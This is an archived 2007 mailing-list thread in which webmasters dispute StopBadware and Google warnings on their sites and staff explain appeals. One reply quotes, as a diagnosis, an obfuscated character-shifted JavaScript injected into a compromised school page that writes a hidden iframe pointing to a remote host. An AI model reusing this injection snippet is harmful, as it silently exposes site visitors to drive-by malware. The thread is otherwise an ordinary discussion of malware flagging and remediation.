Why did our site go through this headache?

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mattblatchley

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Jan 5, 2007, 1:19:39 PM1/5/07
to stopbadware
After the winter holidays we came back to work at our education service
center to find that Google had used stopbadware to ban our website
www.greenbush.org

I want to know why? We have no bad software or installs or anything
that would indicate a need to ban people from viewing our site. And
upon trying to find the reason behind it, the site offered no help at
all other than being vague about the how to "create" a proper site.

We've been waiting for three hours now with no response from Google or
StopBadWare on this issue.

How did this happen? Anyone care to offer any explination as to how we
even ended up getting to this point? After looking through the vast
list of websites that have been implicated previously, I can can
clearly tell that most of them are a porn site or some other category
that an education service center wouldn't even show up as.....again
why?

Anyone?

rich.ly...@gmail.com

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Jan 5, 2007, 1:39:34 PM1/5/07
to stopbadware
I would have the same question. I visited the site, It seems nothing
even close to malicious.

MiltonChapman

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Jan 5, 2007, 1:50:34 PM1/5/07
to stopbadware
Welcome to the world of DON-GOOGLE ...your site is not the only one
that has been blacklisted by the so called GOOD guys at stopbadware.
They are the KING of internet. If they can rank our website on TOP then
they can even humiliate us by displaying a message "visiting this site
is unsafe" Even our website was blacklisted without any warning. We are
into software and web solutions , and our site has been blacklisted for
no reasons. Our site is www.kukarsinfotech.com
Some time ago, our website was listed on stopbadware.org. the listing
was correct, our website did in fact promote/distribute badware, the
issue is that i was never aware of it, an ad-representation company
sneaked spyware into my advertising link.

what i am complaining about is the system, i do approve of taking
action against websites that do promote badware, and if i only knew
before that this website of mine spread badware, i would have stopped
it.

So, how come i could not find this ? simply the advertising is
Geo-Targetted, and it does not show because i am out of the geographic
area it displays.

HOPE such POSTs will RING A BELL at google / stopbadware ......

P.S> DONT TRY TO SEND eMAILS to stopbadware , they WILL NOT RESPOND
YOU. I HAVE BEEN WAITING FOR THE RESPONSE FROM PAST 45 DAYS.

Erica George

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Jan 5, 2007, 2:32:41 PM1/5/07
to stopb...@googlegroups.com
Hi folks,

While I'm not in charge of the appeals process for StopBadware, I will see what information we've got and try to get some more information out to this list as soon as possible. I'll also check in with the staffers who sort through our many appeals and see if they can get you answers on the status of your specific situations. *Please note that for us to start investigating an appeal, we need you to send an email to app...@stopbadware.org with details about which URL is being blocked and how to contact you.* 

We're also as I type in the process of some much-needed updates to our website to make sure there's better and more complete information available for people whose websites are experiencing a block - known as an "interstitial page" - from Google. I don't expect to finish it all today, but in the near future I'd like to have a complete step by step guide to how and why interstitial pages get created by Google, and how our appeals process works. We're also working on streamlining the appeals process, including recruiting more staff to handle the workload.

It'd be great for me in getting these updates drafted to have a sense of what questions you're having that are not being answered on our site. So please let me know if there are specific questions you'd like to see added to our FAQ (beyond those addressed already in this thread).

Thanks!
Erica

mattblatchley

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Jan 5, 2007, 2:54:24 PM1/5/07
to stopbadware
I've gone back to look through the StopBadWare site and cannot find any
where on the site the email address you've posted. I even send them an
email to contest their choice.

One would think there would be some sort of response system that
"actually" worked and I can only hope that you've given me the right
avenue.

One shouldn't be able to make up some false story about a site having
bad software on it and be able to get them banded so easily. Sounds to
me they and Google will be dealing with many lawsuits in the months to
come. No matter how big they may be.

I can only be thankful that we're an education service center and not
loosing an enormous about of money from being blacklisted for no reason.

mattblatchley

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Jan 5, 2007, 3:04:07 PM1/5/07
to stopbadware
Questions that could be answered on the site are as follows:

1. How does one appeal a site that has been banned or blacklisted, or
whatever it would be called?

2. WHY NO PHONE NUMBER!?!?!?!

3. Why does google not supply a link on the page for user to just
continue to the site....now people have to copy and paste the link
instead which is rediculas....

4. Expand your website Guidelines to give more specific examples....are
we not allowed to use AJAX, or IFRAMES, or what things shouldn't we
use.... at least then we can figure out what things would or more
importantly would not be causing the problem... At this point I have
no idea because of the vague discription in this section as to what
would possibly be causing the reasons behind getting banned.

On our site there is NOTHING that even remotely checks off as even
maybe to the checklist provided:

Host or distribute badware directly on their site;
Automatically redirect to a website that hosts or distributes badware;
Link to executable files that are badware, whether hosted on their site
or another site;
Link to another website that automatically attempts to install badware
by exploit onto the user's computer;
Contain substantial links (either in nature or number) to other
website(s) that predominantly host or distribute badware.

So we're all baffled as to the reason why.

grengama

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Jan 6, 2007, 10:56:27 PM1/6/07
to stopbadware


I agree Matt. This is BY FAR the most unprofessional "service" I have
seen to date. My site is listed for no reason. There is no way to find
out why or when or how to get OFF THE LIST. As far as I am concerned
this is a huge disservice and my faith in Google has taken a severe
hit. They say they'll get back to me within 10 days. We'll see.

mikefisher

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Jan 9, 2007, 12:24:11 AM1/9/07
to stopbadware
I agree with all of you against this "service". Why was nobody
contacted before being blocked? This is very ridiculous. If you don't
have the man power to check the sites before blocking them, then DONT
BLOCK them. What is stopping some 12 year old kid from just typing any
word domain and submitting it? Seems to me like this "service" works
completely backwards. Its not protecting people from "badware", its
stopping people from getting to the sites for their jobs and cutting
productivity. And Erica, if that is really your name, why would you
not put all of this "missing" information online BEFORE this "service"
goes into effect? I'll be watching the news to see when the first
lawsuit is filed.

bapna101

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Jan 11, 2007, 6:47:43 AM1/11/07
to stopbadware
Same problem with my website www.MindPowerIndia.com
It is plain HTML website with only AdSense ads. Nothing else.

Anybody found how to speed up the appeal process?
I appealed on 27th Dec, 2006, but not response as of today Jan 10, 2007

What else can we do?

Appreciate any suggestions from you.

Fideroin

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Jan 11, 2007, 9:08:35 AM1/11/07
to stopbadware
well, guys and gals.
my site has been placed in their list at the end of july 2006 because
of distribuiting badware.
I checked and it was true.

in 2-3 days I removed all those badware from my servers and wrote to
appeals email approx middle of august 06.
I sent them something like 10 emails trying to understand, after
removing the badware, what was the problem and why my site was still
listed on google with that interstitial.
response: you link to a site that distributes badware.
I wrote again and again to ask which were the links they did not not
like, no response. or better: is my responsability to find you what's
wrong on my site.

oh yes, you're completely right, but the question is: if you find
something that I was not able to discover why don't you tell me that ?
I'm here to cooperate, but if you don't give me the chance it's
impossible to be 100% compliant.

after 5 months of appeals I decided to stop writing to appeals.
it's a waste of time.

why G should remove the interstitial ?
the less people visit my site, the more click on the ads and you know
the rest of the story...

MiltonChapman

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Jan 11, 2007, 9:30:05 AM1/11/07
to stopbadware
gr8 Fideroin for raising the right point - MORE CLICK ON ADs ... I
really agreee with you ... :-)

Cheers
KEEP RINGIN UNTIL google.com WAKES>>>

Fideroin

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Jan 11, 2007, 11:21:38 AM1/11/07
to stopbadware
I forgot to mention that especially in the adult industry, if you check
advertising sites using the site advisor from mcafee, you'll see that
most of sites that purchase ad space on google are listed as malicious
on mcafee site.

for mcafee are malicious or contain badware but for google those that
pay have not badware.

I can also tell you that few weeks ago they listed one of the biggest
portals in italy for few hours, but.. the big guys have good lawyers
and... suddenly their listing disappeared.

it's only a matter of money.

Elvey

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Jan 11, 2007, 2:31:19 PM1/11/07
to stopbadware

mattblatchley wrote:
> Questions that could be answered on the site are as follows:
>
> 1. How does one appeal a site that has been banned or blacklisted, or
> whatever it would be called?

Dude, you need to learn how to read carefully. The info is 2 clicks
from:
http://www.google.com/interstitial?url=http://www.greenbush.org/

> 2. WHY NO PHONE NUMBER!?!?!?!

Dude, you need to learn how to read carefully. The info is 2 clicks
from:
http://www.google.com/interstitial?url=http://www.greenbush.org/

> 3. Why does google not supply a link on the page for user to just
> continue to the site....now people have to copy and paste the link
> instead which is rediculas....

Because much badware self-installs via browser security holes.

MiltonChapman

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Jan 11, 2007, 3:48:11 PM1/11/07
to stopbadware
Hey Dude Elvey ??

You are right that info is 2 clicks away (as asked by Mr.
Mattblatchley)

But man what you dont know is that even we know that there is a link
and in that link they have described how to appeal but NO ONE RESPONDS
TO THAT APPEAL.. thats why mattblatchley has asked how one does
appeal(WHICH WORKS) for a site that has been banned???

I wish your site never gets blacklisted for NO REASONS like ours has
been !!!

CHeers

Vanessa Fox

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Jan 11, 2007, 3:49:23 PM1/11/07
to stopbadware
You can find out if your site has been flagged for badware by logging
into Google Webmaster Tools. There's more information about that in
this blog post:
http://googlewebmastercentral.blogspot.com/2006/11/badware-alerts-for-your-sites.html

When this flag appears, information on the appeal process is included
there as well.

We are looking at providing more information in webmaster tools, such
as example URLs from the site.

Matt, in the case of your site, take a look at this URL:

http://sss.green bush.org/gbiss/Time.html

(I've added a space in the URL so that it's not clickable, since
visiting the page can infect your computer.)

Specifically take a look at this portion of the page:

<script language="javascript" type="text/javascript">var
k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlw
lrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu431liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3
#kvsdfh@3#zlgwk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h='';wh
ile(t<=k.length-1){h=h+String.fromCharCode(k.charCodeAt(t++)-3);}document.write(h);</script></body>

Hope this helps.

Artie V

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Jan 11, 2007, 11:42:36 PM1/11/07
to stopbadware
Vanessa Fox wrote:
>
> Matt, in the case of your site, take a look at this URL:
> ......

> (I've added a space in the URL so that it's not clickable, since
> visiting the page can infect your computer.)

LOL! Always the clueless that kick up the most dust. I trust you feel a
bit dumb at this point, Matt?

Sam Jackson

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Jan 12, 2007, 6:40:16 AM1/12/07
to stopb...@googlegroups.com
Now, that's a little nasty..

Sam Jackson
That's me!
Use skype? http://www.skype.com

Greywolf.Borealis

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Jan 12, 2007, 9:41:54 AM1/12/07
to stopbadware
It wouldn't surprise me if google used tactics like this. Within a
month after taking google ads off my webpages, they systematically
deleted all my pages (400+) from the google search engines. However, it
seems that yahoo search is gaining the advantage in web searches and I
now get about 50% of my readers from yahoo search. Google? Well, it's
still at zero.
This unethical business practice of denying any site in their search
mechanism sucks. I tried google ads for a year. It ended up being a
waste of bandwidth. Sure, google made money from the ads on my pages,
but it would have taken nearly four years for me to receive one cent
from those ads.
I suspect, in keeping with their censorship policy, and their adversity
to freedom of speech, that this post will disappear before long.
I just want people to know that google uses unethical business
practices.

kristie ann

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Jan 12, 2007, 3:36:07 PM1/12/07
to stopbadware
Please file a complaint with the FTC! (www.ftc.gov) They have a growing
file already!

kristie ann

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Jan 12, 2007, 3:38:49 PM1/12/07
to stopbadware
Artie - YOu are the only "dumb" one on here! mocking people who are
honestly looking for help!

Erica George

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Jan 12, 2007, 5:23:24 PM1/12/07
to stopb...@googlegroups.com
Hey everyone,

I understand this is a topic that's got a lot of folks very upset for many different reasons. But let's try to keep a polite tone on this discussion list. Some people have joined this list because they are devoted to working to stop badware. Some have joined this list because they are webmasters who have suddenly learned that they may be distributing badware, and are quite understandably upset and confused and trying to learn more. Many people on this list have very strong technical backgrounds, and many people here are only just now learning about hacking and other website security issues. Let's all be patient with the differences we may have with other members of the frankly fantastically diverse group of people sharing this forum.

thanks,
Erica

rich.ly...@gmail.com

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Jan 12, 2007, 5:35:57 PM1/12/07
to stopbadware
http://sss.greenbush.org ?.... why not just flag
http://sss.greenbush.org? .... I believe the site being flagged is
http://www.greenbush.org when "Greenbush" or "Kansas Education" is
searched in Google.

Artie V

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Jan 13, 2007, 3:39:01 AM1/13/07
to stopbadware
Bollocks.

Anyone that causes so much ruckus and doesn't know the content of their
website deserves to be ostracized. You must understand that *this* is
_exactly_ the problem. If webmasters knew what they were doing, there
would be little need for stop badware. As is, doofuses will keep us all
in business for the long run.

Steve Wechsler

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Jan 13, 2007, 4:17:35 AM1/13/07
to stopb...@googlegroups.com
Sorry Artie. I despise those who know what they're doing and claim their
innocent. Those who are truly innocent are unaware. Should we shoot them
and ask questions later ?
Then again, if they 'feign' innocence, but are truly guilty ...
shoot 'em.
Call me a 'liberal', call me a 'conservative' ...
but NEVER call me late for dinner.

MowGreen

Fideroin

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Jan 13, 2007, 5:04:19 AM1/13/07
to stopbadware

yes.
and what about yahoo, and a couple for italian SEs that for sure links
to sites that host badware ?
why yahoo, virgilio and libero are not in that 412 sites list ?
why my site instead is listed as one that distribuites badware and that
is not true, because I removed all exes months ago ?

I already made this question, but no reply... do you have any idea
artie about why small sites are listed and big boys are not ? just a
matter of lawyers ?
the big guys that can afford big lawyers can host, distribuite, link to
badware. losers with 1000 visits per day are not authorized to, because
stopbadware says not.

erica ?
why yahoo, virgilio and libero are not listed in your 412 sites list ??
you found me distribuiting badware with a small 200 sites list and you
cannot find badware in zillion listing directories ?

rich.ly...@gmail.com

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Jan 13, 2007, 11:04:33 AM1/13/07
to stopbadware
You might wish to know that McAfee's Site Advisor tags this site
(http://www.greenbush.org) as a green site.

It would of interest to see what the diff in rating logics are.

My rushed view of this site shows no evidence of bad downloads, spam,
etc.

Let us know if you get a re-review from Google.

(as reported via podcast http://take2.greenbush.us)

Kathiresan

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Jan 13, 2007, 6:07:50 PM1/13/07
to stopbadware
Hi Raj Bapna,
I have read your books back in 97-98 and they were really good and
helpful to me ( when I was preparing for my school exams).

When I saw your MindPowerIndia.com site, it looks like a 3rd rated
infomercial site. If a sane person looks at your site they sure will
think that you are trying to rip them off. Why dont you get some
professional help for making the site looks like a decent store front ?
I'm not sure if the late night infomercial style has made the
stopbadware to add your site to their list.

I hope the stopbadware people remove your site from their list.

-regards,
Guru Kathiresan

fourbit

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Jan 14, 2007, 12:32:38 PM1/14/07
to stopbadware
Hiya everone,

This is the first time I have seen this. It's a very interesting
concept. I too question the methods of determining who gets blocked and
who doesn't. But, I can understand how it would have to be a very
complicated algorithm.

The only thing I could see in the source code for Matt's site
(greebush.org) that might flag this, would be the use of "girlpic.gif"
for an img src . Tell me "It ain't so!"!!! 'Course, I have gone very
deep into that site.

My question to Erica or whomever with StopBadware, is if something is
found very deep into the site or, on a linked site, would the whole
site be 'flagged' . Or, just the page that the problem resides on?

Thanks,

Elvey

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Jan 15, 2007, 1:56:53 AM1/15/07
to stopbadware

fourbit wrote:
> The only thing I could see in the source code for Matt's site
> (greebush.org) that might flag this, would be the use of "girlpic.gif"
> for an img src . Tell me "It ain't so!"!!! 'Course, I have gone very
> deep into that site.

For crying out loud, did you not read Vanessa's post to this thread?

I'm suspecting a Rule 1 infection, "Willful Ignorance" variant.

Message has been deleted

fourbit

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Jan 15, 2007, 12:51:36 PM1/15/07
to stopbadware

Shhhheeeeesssss. Elvey! You need to chill out a bit. Or, maybe just
grow up a bit. Comments like yours, tend to just inflame people. I am
curious, are you a google representative?

I see that I have misstyped in my post. Sorry. Should have been "I
haven't gone very deep into the site."

This is all new to me and I do think I mentioned that. Also, some
things get missed in reading posts. A lot of times, such as this, it
doesn't make a lot of sense to me. Hence, my question. The blockage was
on the main site url.

Sorry if I got you all agitated.

Elvey

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Jan 15, 2007, 8:53:26 PM1/15/07
to stopbadware
Folks have been insulting google left and right in this thread, not
that . You asked if I'm a google representative. Assume my true name is
Larry Page and imagine how I'm feeling after reading comments like

"This is BY FAR the most unprofessional "service" I have seen to
date."!!!
This is usenet; you need a thick skin here. (Correction - technically,
it's not usenet, actually; it's google groups, but same difference.)
I see a lot of Rule 1 infections, and just found out my identity was
stolen, and you exhibited signs of an infection, so I pointed it out in
a humorous way. Chill!

Google's alerts (like others') are site-based, not URL-based. Which is
appropriate. It's a site admin's responsibility to keep the entire
site badware free. If a whole site gets blocked due to one piece of
badware on one page, that's entirely the site admin's fault. If it
takes stopbadware a while to unlist the site, it's still the site
admin's fault; they fucked up, not google or stopbadware.

Actually, perhaps stop badware should list/warn against use of any
other sites on the same server or IP as the listed site as well. What
do you think of that?


It's folks crying wolf that make it hard to get Google's attention when
there really is a bug, I think.

rich.ly...@gmail.com

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Jan 15, 2007, 10:04:06 PM1/15/07
to stopbadware
Oppppps... speaking of the fox guarding the hen house!

http://blogs.zdnet.com/Google/?p=451

..... I believe this makes Google a candidate for stopbadware.org?
*LOL*

fourbit

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Jan 16, 2007, 9:41:56 AM1/16/07
to stopbadware
Elvey,

Too funny. :) You must be a comedian. I apologize for taking you
serious on your answer to my serious question. No harm.
And, I liked your 'Poor Larry' bit. Hilarious!

Oh, BTW, there really is no excuse for rude or hostile. Not even
"usenet".

To the serious,

Seriously, having looked at the page that was mentioned to have been an
issue. It seems to have been rectified. So, this site in question will
remain on the 'block' list for how long?

And Rich, you have to wonder about the "Big Brother" syndrome. ;)

chuck

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Jan 18, 2007, 10:59:40 AM1/18/07
to stopbadware
PC World Now Reporting in this...others to follow I'm sure.

Is Google Falsely Flagging Harmless Sites?
Web site operators say Google is mistakenly warning users that visiting
some sites in search results may be dangerous.

Appeals Possible, but Slow
Google's interstitial warning page contains a link to StopBadware.org,
a project designed to study legal and technical issues concerning
spyware, adware, and other malicious software.

StopBadware.org is run by Harvard Law School's Berkman Center for
Internet and Society, Oxford University's Internet Institute, and
vendor partners such as Google, Sun Microsystems, and Lenovo.

full article: http://www.pcworld.com/article/id,128509/article.html

MiltonChapman

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Jan 18, 2007, 3:19:48 PM1/18/07
to stopbadware
>From past many days i hv been closely monitoring every reply that gets
posted in this TOPIC. Finally I got response from stopbadware (dated:
12/01/2007) saying that

"After testing your site in response to the email that you sent to
app...@stopbadware.org, we have made a preliminary determination that
your site appears to no longer host or distribute badware. We have
informed Google of this finding, and they will conduct their own
testing on your site. Google makes its own determinations about whether
to remove any interstitial pages it has posted; however, in our
experience, whenever we have reported to Google that we found a site to
be free of badware at the time of our review and their own follow-up
testing confirms our results, the interstitial page has been promptly
removed. If Google does remove the interstitial page that is currently
being served for your site, they will advise us. On the other hand, if
Google's separate, independent testing finds that there is still
badware present on your site, then they will inform us of that
finding." >>

Today, I tried the keywords(though it has also affected site's ranking)
and found that the so called "interstitial page" NO LONGER EXISTS....
phewwww .... finally our website is back on TRACK .... I suspect that I
had lost billion dollars since then hahaha :-)

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